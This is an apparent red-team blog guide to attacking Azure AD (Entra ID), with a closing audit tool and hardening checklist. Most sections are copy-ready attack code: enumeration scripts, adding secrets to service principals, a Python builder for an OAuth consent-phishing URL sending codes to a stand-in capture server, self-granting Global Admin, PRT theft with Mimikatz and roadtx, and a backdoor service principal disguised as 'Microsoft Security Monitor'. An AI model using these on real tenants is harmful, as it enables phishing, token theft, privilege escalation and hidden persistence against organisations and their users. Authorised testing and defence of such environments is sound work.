// Home// Blog

Azure AD Attack Surface: The Complete Red Team Guide

Full breakdown of the Entra ID attack surface — service principal abuse, OAuth2 consent phishing, app role privilege escalation, conditional access bypass, PRT theft, and cross-tenant trust abuse. With the az-ad-audit tool to find every misconfiguration.

T1078.004 T1528 T1550.001 T1606.002 T1136.003

The Azure AD Security Model — Why It's Different

Azure AD (now Entra ID) is not on-premises Active Directory in the cloud. It's a fundamentally different identity model built around OAuth2, OpenID Connect, and SAML. The attack surface is different, the tools are different, and most red teamers who excel at on-prem AD struggle with cloud identity.

The key concepts that matter for attacking it:

  • Tenants: isolated Azure AD instances. One organization, one tenant. Cross-tenant trust is explicit.
  • Service Principals: the cloud equivalent of service accounts — they authenticate as applications, not users
  • App Registrations vs Enterprise Apps: App Registration = the template; Enterprise App (Service Principal) = the instance in your tenant
  • OAuth2 scopes and delegated vs application permissions: delegated = acts as the user; application = acts as the app (no user context)
  • Managed Identities: service principals attached to Azure resources — no credentials, authenticated by the IMDS

Recon & Enumeration

Before attacking, you need visibility. Azure AD is open in some ways — tenant information and some user enumeration is possible unauthenticated. With credentials, the enumeration scope expands dramatically.

PowerShell — Az CLIInitial enumeration
# Authenticate
az login --use-device-code  # or az login -u user@domain.com -p Password123

# Tenant info
az account show
az account tenant list

# List all users
az ad user list --query "[].{UPN:userPrincipalName,DisplayName:displayName}" -o table

# List all groups (look for high-value: Global Admin, Privileged Role Admin)
az ad group list --query "[].{Name:displayName,ID:id}" -o table

# Service principals (critical for finding overprivileged apps)
az ad sp list --all --query "[].{Name:displayName,AppID:appId,Type:servicePrincipalType}" -o table

# App registrations
az ad app list --all --query "[].{Name:displayName,AppID:appId}" -o table
PowerShell — Microsoft GraphGraph API enumeration
# Get Graph token
$token = (az account get-access-token --resource https://graph.microsoft.com | ConvertFrom-Json).accessToken
$headers = @{Authorization = "Bearer $token"}

# List privileged role assignments (most important)
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" `
    -Headers $headers | Select-Object -Expand value

# Check your own permissions
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/memberOf" `
    -Headers $headers | Select-Object -Expand value | Select displayName

Service Principal Abuse

Service principals are where most cloud privilege escalation lives. An overprivileged service principal — one with Application.ReadWrite.All, Directory.ReadWrite.All, or RoleManagement.ReadWrite.Directory — is effectively a path to Global Admin.

PowerShellFind overprivileged service principals
# List all service principal app role assignments
$sps = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $headers
foreach ($sp in $sps.value) {
    $roles = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $headers
    foreach ($role in $roles.value) {
        # Flag high-value permissions
        if ($role.principalDisplayName -match "Application.ReadWrite|Directory.ReadWrite|RoleManagement") {
            Write-Host "[!] $($sp.displayName) has $($role.principalDisplayName)"
        }
    }
}

Adding Credentials to a Service Principal

If you have Application.ReadWrite.All or own the service principal, you can add a new client secret or certificate. This gives you persistent authentication as that application — potentially with Global Admin access if the SP has it.

PowerShellAdd credential to SP (T1098.001)
# Add a new secret to target application
$appId = "TARGET_APP_ID"
$secret = az ad app credential reset --id $appId --append | ConvertFrom-Json
Write-Host "Client ID: $($secret.appId)"
Write-Host "Client Secret: $($secret.password)"
Write-Host "Tenant: $($secret.tenant)"

# Authenticate as the application
az login --service-principal -u $secret.appId -p $secret.password --tenant $secret.tenant

OAuth2 Consent Phishing (T1528)

This is one of the most effective Azure AD attacks. Register a malicious Azure application with high-permission scopes, send the OAuth2 authorization URL to a target user, and when they click "Accept," your app receives an OAuth2 token with their delegated permissions — without needing their password. No MFA bypass required. The user consented.

PythonBuild consent phishing URL
# Your malicious app's details (registered in Azure)
CLIENT_ID  = "your-app-client-id"
TENANT_ID  = "target-tenant-id"
REDIRECT   = "https://your-capture-server.com/callback"

# Permissions to request — maximize coverage
SCOPES = " ".join([
    "offline_access",      # refresh tokens (persistence)
    "Mail.ReadWrite",      # read/send email
    "Files.ReadWrite.All", # SharePoint / OneDrive
    "Contacts.ReadWrite",  # contacts list
    "User.Read.All",       # enumerate all users
])

phish_url = (
    f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/authorize"
    f"?client_id={CLIENT_ID}"
    f"&response_type=code"
    f"&redirect_uri={REDIRECT}"
    f"&scope={SCOPES}"
    f"&response_mode=query"
    f"&prompt=consent"
)
print(f"[+] Send this URL to target: {phish_url}")
🔵

Detection: Monitor Azure AD audit logs for "Consent to application" events (Category: ApplicationManagement, Activity: Consent to application). Alert when users consent to apps requesting Mail.ReadWrite, Files.ReadWrite.All, or any admin-level scope. Enable admin consent required for all applications in tenant settings.

App Role Privilege Escalation

If you control an application with AppRoleAssignment.ReadWrite.All, you can grant any app role to any service principal in the tenant — including granting Global Admin roles to your own service principal. This is a direct path from app-level access to Global Admin.

PowerShellSelf-grant Global Admin via app role (T1098)
# If your SP has AppRoleAssignment.ReadWrite.All and RoleManagement.ReadWrite.Directory
# Get Global Admin role definition
$globalAdminRole = Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=displayName eq 'Global Administrator'" -Headers $headers

# Assign Global Admin to your service principal
$body = @{
    "roleDefinitionId" = $globalAdminRole.value[0].roleTemplateId
    "principalId"      = "YOUR_SP_OBJECT_ID"
    "directoryScopeId" = "/"
} | ConvertTo-Json

Invoke-RestMethod "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" `
    -Method POST -Headers $headers -Body $body -ContentType "application/json"
Write-Host "[+] Global Admin granted to your SP"

Conditional Access Policy Bypass

Conditional Access (CA) policies enforce requirements like MFA, compliant device, location-based restrictions. Multiple bypass approaches exist:

  • Legacy authentication protocols: IMAP, POP3, SMTP, and Basic Auth to Exchange Online often bypass CA entirely because CA can't enforce MFA on legacy protocols. If legacy auth is enabled, spray passwords directly without MFA.
  • Named locations: CA policies with IP allowlists can be bypassed by routing traffic through a VPN exit node in an allowed range (corporate IP, home office subnet leaked via OSINT).
  • Application exclusions: Many tenants exclude certain apps (Azure AD Connect, legacy apps) from CA policies. If you're authenticating AS those apps, you inherit the exclusion.
  • Break-glass account enumeration: Organizations have emergency "break-glass" accounts explicitly excluded from all CA policies for disaster recovery. These are high-value targets — often no MFA, no CA, but hard to find.
PowerShellEnumerate CA policies and find exclusions
# List all conditional access policies (requires Policy.Read.All)
$policies = Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $headers
foreach ($p in $policies.value) {
    Write-Host "Policy: $($p.displayName) | State: $($p.state)"
    # Check for user/group exclusions
    $excl = $p.conditions.users.excludeUsers + $p.conditions.users.excludeGroups
    if ($excl.Count -gt 0) { Write-Host "  [!] Exclusions: $($excl -join ', ')" }
    # Check for app exclusions
    $appExcl = $p.conditions.applications.excludeApplications
    if ($appExcl.Count -gt 0) { Write-Host "  [!] App exclusions: $($appExcl -join ', ')" }
}

Primary Refresh Token (PRT) Theft

The PRT is the most powerful credential in a hybrid Azure AD joined environment. It's a long-lived token stored in the device TPM (or in LSASS memory in software mode) that can obtain access tokens for any Azure AD resource without re-authentication or MFA. Stealing a PRT is equivalent to stealing a "skeleton key" to all Azure resources.

PowerShell — ROADtoolsPRT extraction and use
# ROADToken — extract PRT from current session (requires admin on device)
roadtoken.exe

# Or via Mimikatz sekurlsa module on the device
privilege::debug
sekurlsa::cloudap   # extracts PRT from LSASS cloudap.dll

# Use the PRT to get tokens for any resource
# roadtx (Python) — convert PRT to access token
roadtx gettokens --prt "0.AQEA..." --prt-sessionkey "KEY" --resource https://graph.microsoft.com
roadtx gettokens --prt "0.AQEA..." --prt-sessionkey "KEY" --resource https://management.azure.com
💡

Why it's powerful: A PRT bypasses MFA requirements because the device satisfies the "compliant device" or "Azure AD joined" CA condition. If the device is in scope, MFA is not required for PRT-based authentication — even if the user's account requires MFA.

Cross-Tenant Access Abuse

Azure AD B2B (Guest) and cross-tenant synchronization allow identities from one tenant to access resources in another. Misconfigured cross-tenant access policies can expose resources across tenant boundaries. If a tenant allows all external organizations to access resources without restricting which users, a compromised guest account from any trusted tenant becomes a pivot point.

PowerShellEnumerate cross-tenant access policies
# List cross-tenant access policies (requires admin)
Invoke-RestMethod "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners" -Headers $headers

# Enumerate guest accounts in your compromised tenant
$guests = Invoke-RestMethod "https://graph.microsoft.com/v1.0/users?`$filter=userType eq 'Guest'" -Headers $headers
$guests.value | Select-Object displayName, userPrincipalName, mail

Cloud Persistence

Several persistence mechanisms specific to Azure AD:

  • Add credentials to an app: Add a new client secret or certificate to an existing app registration — persistent authentication as that application
  • Create a new service principal with permissions: Register a new application, grant it Directory.ReadWrite.All, create a secret — invisible in user listings
  • Federation takeover: If you have Domain.ReadWrite.All, add a federated identity configuration to a domain — any token signed by your custom issuer is accepted (Golden SAML attack)
  • Backdoor user with no MFA: Create a new user account excluded from MFA CA policies, assign it a Global Admin role, set a known password
PowerShellCreate backdoor service principal (T1136.003)
# Create new app registration
$app = az ad app create --display-name "Microsoft Security Monitor" | ConvertFrom-Json

# Create service principal
az ad sp create --id $app.appId

# Grant Directory.ReadWrite.All (requires Global Admin)
az ad app permission add --id $app.appId --api 00000003-0000-0000-c000-000000000000 --api-permissions 19dbc75e-c2e2-444c-a770-ec69d8559fc7=Role

# Add credential (secret)
$creds = az ad app credential reset --id $app.appId | ConvertFrom-Json
Write-Host "[+] Backdoor SP: $($creds.appId) / $($creds.password)"

az-ad-audit — Automated Security Assessment

I built az-ad-audit to systematically check for all the misconfigurations described in this post. The tool connects to Azure AD via Microsoft Graph and produces a structured security report covering:

  • Users without MFA registered
  • Service principals with dangerous app permissions (Application.ReadWrite.All, RoleManagement.ReadWrite.Directory, etc.)
  • Conditional Access policy gaps — users/apps excluded, legacy auth enabled
  • Guest accounts with elevated permissions
  • App registrations with secrets older than 90 days
  • OAuth2 app consent grants with high-privilege delegated scopes
  • Cross-tenant access policies with overly permissive settings
  • Privileged role assignments to service principals (vs users)
  • Break-glass account detection and validation
  • Stale admin accounts (no signin > 90 days but still privileged)
bashaz-ad-audit usage
git clone https://github.com/x0verFl0w/az-ad-audit
cd az-ad-audit && pip install -r requirements.txt

# Authenticate and run full audit
python az-ad-audit.py --tenant YOUR_TENANT_ID --output report.html

# Specific checks
python az-ad-audit.py --check mfa          # MFA coverage
python az-ad-audit.py --check sp-perms     # Overprivileged service principals
python az-ad-audit.py --check ca-gaps      # Conditional access gaps
python az-ad-audit.py --check consent      # OAuth2 consent grants

Building Defense in Depth

Every attack described above has a defense. The prioritized list for an Azure AD hardening engagement:

  • Require admin consent for all OAuth2 apps: eliminates consent phishing entirely
  • Block legacy authentication protocols via CA policy — eliminates MFA bypass via IMAP/POP3
  • Enable Privileged Identity Management (PIM) for all privileged roles — just-in-time access
  • Audit service principal permissions monthly — remove Application.ReadWrite.All and similar from any non-essential apps
  • Enable Continuous Access Evaluation (CAE) — token revocation propagates within minutes, not hours
  • Monitor sign-in logs for device-code flow authentication — common in phishing kits
  • Restrict cross-tenant access to explicitly approved partner tenants only
  • Require FIDO2 or Certificate-based auth for admins — phishing-resistant MFA